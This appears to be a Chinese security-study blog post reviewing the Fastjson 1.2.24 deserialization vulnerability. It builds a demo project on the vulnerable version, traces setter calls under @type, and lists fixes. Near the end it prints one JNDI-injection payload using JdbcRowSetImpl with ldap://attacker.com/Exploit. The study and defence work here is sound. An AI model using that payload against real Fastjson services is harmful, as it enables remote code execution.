【JAVA安全-Fastjson系列】Fastjson 1.2.24 反序列化漏洞分析及测试环境构建【复习回顾】

Fastjson 1.2.24 反序列化漏洞分析及测试环境构建

漏洞背景

Fastjson 是阿里巴巴开源的一个高性能 Java JSON 库,广泛用于 Java 对象的序列化和反序列化。在 1.2.24 及之前的版本中,存在一个严重的安全漏洞,攻击者可以通过构造恶意的 JSON 字符串实现远程代码执行(RCE)。

漏洞原理

Fastjson 在反序列化时,支持通过 @type 属性指定目标类。当解析 JSON 时,Fastjson 会自动调用目标类的 setter 方法及特定条件的 getter 方法。攻击者可以利用这一特性,通过精心构造的 JSON 字符串调用某些危险类的危险方法,最终实现任意代码执行。

测试环境搭建

  1. 项目结构

    fastjson-vuln-demo/
    ├── pom.xml
    └── src/
    ├── main/
    │ ├── java/
    │ │ └── org/
    │ │ └── rocky/
    │ │ ├── App.java
    │ │ └── model/
    │ │ └── User.java
    │ └── resources/
    └── test/
    └── java/

  2. 关键代码

User.java

java 复制代码
package org.rocky.model;
 
public class User {
    private String name;
    private int age;
    private String email;
 
    public User() {
        System.out.println("User无参构造器被调用");
    }
 
    public User(String name, int age, String email) {
        this.name = name;
        this.age = age;
        this.email = email;
        System.out.println("User全参构造器被调用");
    }
 
    // Getter和Setter方法 
    public String getName() {
        System.out.println("getName()被调用");
        return name;
    }
 
    public void setName(String name) {
        System.out.println("setName()被调用,参数: " + name);
        this.name = name;
    }
 
    public int getAge() {
        System.out.println("getAge()被调用");
        return age;
    }
 
    public void setAge(int age) {
        System.out.println("setAge()被调用,参数: " + age);
        this.age = age;
    }
 
    public String getEmail() {
        System.out.println("getEmail()被调用");
        return email;
    }
 
    public void setEmail(String email) {
        System.out.println("setEmail()被调用,参数: " + email);
        this.email = email;
    }
 
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", email='" + email + '\'' +
                '}';
    }
}

App.java

java 复制代码
package org.rocky;
 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.rocky.model.User;
 
public class App {
    public static void main(String[] args) {
        // 正常序列化与反序列化 
        normalSerializationDemo();
        
        // 使用@type的反序列化 
        deserializationWithTypeDemo();
    }
 
    private static void normalSerializationDemo() {
        System.out.println("\n=== 正常序列化与反序列化 ===");
        
        // 创建用户对象 
        User user = new User("张三", 25, "zhangsan@example.com");
 
        // 序列化为JSON字符串
        String jsonString = JSON.toJSONString(user);
        System.out.println("序列化结果: " + jsonString);
 
        // 反序列化为User对象
        User parsedUser = JSON.parseObject(jsonString, User.class);
        System.out.println("反序列化结果: " + parsedUser);
    }
 
    private static void deserializationWithTypeDemo() {
        System.out.println("\n=== 使用@type的反序列化 ===");
        
        // 使用@type指定目标类 
        String jsonWithType = "{\"@type\":\"org.rocky.model.User\",\"name\":\"李四\",\"age\":30,\"email\":\"lisi@example.com\"}";
        
        System.out.println("反序列化JSON: " + jsonWithType);
        Object obj = JSON.parseObject(jsonWithType);
        System.out.println("反序列化结果: " + obj);
    }
}
  1. pom.xml 依赖配置
xml 复制代码
<project xmlns="http://maven.apache.org/POM/4.0.0"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0  http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.rocky</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>fastjson</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
  </properties>

  <dependencies>
    <!-- Fastjson 1.2.24 -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

    <!-- 升级后的 JUnit -->
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.12</version>
      <scope>test</scope>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.8.1</version>
      </plugin>
    </plugins>
    <resources>
      <resource>
        <directory>src/main/resources</directory>
        <includes>
          <include>**/*.properties</include>
          <include>**/*.xml</include>
          <include>**/*.json</include>
        </includes>
        <excludes>
          <exclude>**/.keep</exclude>
        </excludes>
        <filtering>false</filtering>
      </resource>
    </resources>
  </build>
</project>

漏洞验证

  1. 正常反序列化流程

运行 normalSerializationDemo() 方法,观察输出:

复制代码
=== 正常序列化与反序列化 === 
User全参构造器被调用 
序列化结果: {"age":25,"email":"zhangsan@example.com","name":"张三"}
User无参构造器被调用 
setAge()被调用,参数: 25 
setEmail()被调用,参数: zhangsan@example.com
setName()被调用,参数: 张三 
反序列化结果: User{name='张三', age=25, email='zhangsan@example.com'}
  1. 使用@type的反序列化

运行 deserializationWithTypeDemo() 方法,观察输出:

复制代码
=== 使用@type的反序列化 ===
反序列化JSON: {"@type":"org.rocky.model.User","name":"李四","age":30,"email":"lisi@example.com"}
User无参构造器被调用 
setName()被调用,参数: 李四 
setAge()被调用,参数: 30
setEmail()被调用,参数: lisi@example.com
反序列化结果: {"age":30,"email":"lisi@example.com","name":"李四"}

漏洞利用原理

攻击者可以构造特殊的 JSON 字符串,利用 Fastjson 的自动类型转换和 Java 反射机制,调用危险类的方法。例如:

java 复制代码
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}";
JSON.parse(maliciousJson);

这段代码会尝试通过 JNDI 注入加载远程恶意类,导致 RCE。

防御措施

  1. 升级 Fastjson:升级到最新安全版本(1.2.83 或更高)
  2. 关闭 autotype:设置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 使用安全模式:JSON.parse(text, Feature.SafeMode)
  4. 白名单控制:配置 ParserConfig.getGlobalInstance().addAccept("org.rocky.model.")

总结

Fastjson 1.2.24 的反序列化漏洞源于其过于灵活的自动类型转换机制。通过分析测试环境中的代码执行流程,我们可以清楚地看到 Fastjson 如何通过反射调用目标类的方法。在实际开发中,务必使用最新版本的 Fastjson 并采取适当的安全配置。

建议进一步研究:

  1. 完整的漏洞利用链构造
  2. JNDI 注入原理
  3. Fastjson 的安全配置最佳实践